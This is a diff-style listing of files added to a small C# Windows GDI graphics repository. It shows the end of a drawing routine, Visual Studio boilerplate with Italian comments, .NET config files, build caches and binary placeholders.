+
ReleaseDC(0, hdc);
|
| 45 |
+
}
|
| 46 |
+
}
|
| 47 |
+
|
| 48 |
+
static uint RGB(int r, int g, int b)
|
| 49 |
+
{
|
| 50 |
+
return (uint)((r << 16) | (g << 8) | b);
|
| 51 |
+
}
|
| 52 |
+
}
|
src/Gdi-in-c--main/CUBO/CUBO/Properties/AssemblyInfo.cs
ADDED
|
@@ -0,0 +1,36 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
using System.Reflection;
|
| 2 |
+
using System.Runtime.CompilerServices;
|
| 3 |
+
using System.Runtime.InteropServices;
|
| 4 |
+
|
| 5 |
+
// Le informazioni generali relative a un assembly sono controllate dal seguente
|
| 6 |
+
// set di attributi. Modificare i valori di questi attributi per modificare le informazioni
|
| 7 |
+
// associate a un assembly.
|
| 8 |
+
[assembly: AssemblyTitle("CUBO")]
|
| 9 |
+
[assembly: AssemblyDescription("")]
|
| 10 |
+
[assembly: AssemblyConfiguration("")]
|
| 11 |
+
[assembly: AssemblyCompany("")]
|
| 12 |
+
[assembly: AssemblyProduct("CUBO")]
|
| 13 |
+
[assembly: AssemblyCopyright("Copyright © 2024")]
|
| 14 |
+
[assembly: AssemblyTrademark("")]
|
| 15 |
+
[assembly: AssemblyCulture("")]
|
| 16 |
+
|
| 17 |
+
// Se si imposta ComVisible su false, i tipi in questo assembly non saranno visibili
|
| 18 |
+
// ai componenti COM. Se è necessario accedere a un tipo in questo assembly da
|
| 19 |
+
// COM, impostare su true l'attributo ComVisible per tale tipo.
|
| 20 |
+
[assembly: ComVisible(false)]
|
| 21 |
+
|
| 22 |
+
// Se il progetto viene esposto a COM, il GUID seguente verrà utilizzato come ID della libreria dei tipi
|
| 23 |
+
[assembly: Guid("79f721ce-2f84-490c-a551-c617f042bc3a")]
|
| 24 |
+
|
| 25 |
+
// Le informazioni sulla versione di un assembly sono costituite dai seguenti quattro valori:
|
| 26 |
+
//
|
| 27 |
+
// Versione principale
|
| 28 |
+
// Versione secondaria
|
| 29 |
+
// Numero di build
|
| 30 |
+
// Revisione
|
| 31 |
+
//
|
| 32 |
+
// È possibile specificare tutti i valori oppure impostare valori predefiniti per i numeri relativi alla revisione e alla build
|
| 33 |
+
// usando l'asterisco '*' come illustrato di seguito:
|
| 34 |
+
// [assembly: AssemblyVersion("1.0.*")]
|
| 35 |
+
[assembly: AssemblyVersion("1.0.0.0")]
|
| 36 |
+
[assembly: AssemblyFileVersion("1.0.0.0")]
|
src/Gdi-in-c--main/CUBO/CUBO/bin/Debug/CUBO.exe.config
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8"?>
|
| 2 |
+
<configuration>
|
| 3 |
+
<startup>
|
| 4 |
+
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.7.2"/>
|
| 5 |
+
</startup>
|
| 6 |
+
</configuration>
|
src/Gdi-in-c--main/CUBO/CUBO/bin/Debug/CUBO.pdb
ADDED
|
Binary file (22 kB). View file
|
|
|
src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/CUBO.csproj.AssemblyReference.cache
ADDED
|
Binary file (4.08 kB). View file
|
|
|
src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/CUBO.csproj.CoreCompileInputs.cache
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
5bb56c9ef8259863da41b9966ff000324a4ac45ce033dd510671b53b9ecdc07a
|
src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/CUBO.csproj.FileListAbsolute.txt
ADDED
|
@@ -0,0 +1,7 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
D:\c#\CUBO\CUBO\bin\Debug\CUBO.exe.config
|
| 2 |
+
D:\c#\CUBO\CUBO\bin\Debug\CUBO.exe
|
| 3 |
+
D:\c#\CUBO\CUBO\bin\Debug\CUBO.pdb
|
| 4 |
+
D:\c#\CUBO\CUBO\obj\Debug\CUBO.csproj.AssemblyReference.cache
|
| 5 |
+
D:\c#\CUBO\CUBO\obj\Debug\CUBO.csproj.CoreCompileInputs.cache
|
| 6 |
+
D:\c#\CUBO\CUBO\obj\Debug\CUBO.exe
|
| 7 |
+
D:\c#\CUBO\CUBO\obj\Debug\CUBO.pdb
|
src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/CUBO.exe
ADDED
|
Binary file (5.12 kB). View file
|
|
|
src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/CUBO.pdb
ADDED
|
Binary file (22 kB). View file
|
|
|
src/Gdi-in-c--main/CUBO/CUBO/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
ADDED
|
Binary file (1.7 kB). View file
|
|
|
src/Gdi-in-c--main/ConsoleApp6/ConsoleApp6/bin/Debug/ConsoleApp6.exe.config
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
<?xml version="1.0" encoding="utf-8" ?>
|
| 2 |
+
<configuration>
|
| 3 |
+
<startup>
|
| 4 |
+
<supportedRuntime version="v4.0" sku=".NETFramework,Version=v4.8" />
|
| 5 |
+
</startup>
|
| 6 |
+
</configuration>
|
src/Gdi-in-c--main/ConsoleApp6/ConsoleApp6/bin/Debug/ConsoleApp6.pdb
ADDED
|
Binary file (20 kB). View file
|
|
|
src/Gdi-in-c--main/ConsoleApp6/ConsoleApp6/obj/Debug/ConsoleApp6.csproj.CoreCompileInputs.cache
ADDED
|
@@ -0,0 +1 @@
|
|
|
|
|
|
|
| 1 |
+
25f359d3fd7d560a1dec87ab383b84f91627954af157e6d29c6e8f4a1e97b265
|
src/Gdi-in-c--main/ConsoleApp6/ConsoleApp6/obj/Debug/ConsoleApp6.exe
ADDED
|
Binary file (5.12 kB). View file
|
|
|